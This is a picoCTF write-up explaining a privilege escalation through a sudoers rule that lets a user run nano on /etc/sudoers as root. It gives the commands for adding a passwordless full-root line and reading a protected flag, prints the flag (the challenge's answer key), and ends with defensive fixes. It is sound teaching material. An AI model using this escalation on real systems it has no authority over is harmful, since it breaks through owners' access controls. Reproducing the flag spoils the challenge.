> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/general-skills/absolute-nano.md).

# ABSOLUTE NANO

**Category:** Privilege Escalation / Linux Permissions **Flag:** `picoCTF{n4n0_411_7h3_w4y_d74f446b}`

***

### Overview

This challenge involves a **sudoers misconfiguration** on a Linux system. The user `ctf-player` has been granted permission to edit `/etc/sudoers` using `nano` as root — which is essentially handing over the keys to the entire system.

***

### Step-by-Step Solution

#### Step 1 — SSH into the machine

```bash
ssh -p 60230 ctf-player@crystal-peak.picoctf.net
```

#### Step 2 — Check what's in the home directory

```bash
ls
# flag.txt
```

The flag is right there, but:

```bash
cat flag.txt
# cat: flag.txt: Permission denied
```

It's owned by root and we can't read it directly.

#### Step 3 — Try the obvious (fails)

```bash
chmod +x flag.txt
# chmod: changing permissions of 'flag.txt': Operation not permitted
```

We don't own the file, so `chmod` won't work.

#### Step 4 — Check sudo permissions

```bash
sudo -l
```

Output:

```
User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/nano /etc/sudoers
```

We can edit `/etc/sudoers` as root without a password — this is the vulnerability.

#### Step 5 — Edit sudoers to grant ourselves full root access

```bash
sudo /bin/nano /etc/sudoers
```

Scroll to the bottom and add:

```
ctf-player ALL=(ALL) NOPASSWD: ALL
```

Save with `Ctrl+X` → `Y` → `Enter`

#### Step 6 — Read the flag

```bash
sudo cat flag.txt
# picoCTF{n4n0_411_7h3_w4y_d74f446b}
```

***

### Summary Table

| Step         | Command                       | Result                    |
| ------------ | ----------------------------- | ------------------------- |
| List files   | `ls`                          | Found `flag.txt`          |
| Read flag    | `cat flag.txt`                | ❌ Permission denied       |
| Change perms | `chmod +x flag.txt`           | ❌ Not permitted           |
| Check sudo   | `sudo -l`                     | ✅ Can edit `/etc/sudoers` |
| Edit sudoers | `sudo /bin/nano /etc/sudoers` | ✅ Added full sudo rights  |
| Get flag     | `sudo cat flag.txt`           | ✅ Flag!                   |

***

### Key Takeaway

> Giving a low-privilege user the ability to edit `/etc/sudoers` is equivalent to giving them **full root access**. Once you can write to sudoers, you can grant yourself any permission you want — the security boundary is completely broken.

### Real-World Risk & Fix

| Issue                   | Fix                                                 |
| ----------------------- | --------------------------------------------------- |
| User can edit sudoers   | Never grant this permission                         |
| No password required    | Always require password for sensitive sudo commands |
| Overly broad sudo rules | Grant only the minimum necessary commands           |

**Flag:** `picoCTF{n4n0_411_7h3_w4y_d74f446b}` 🎉


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/general-skills/absolute-nano.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
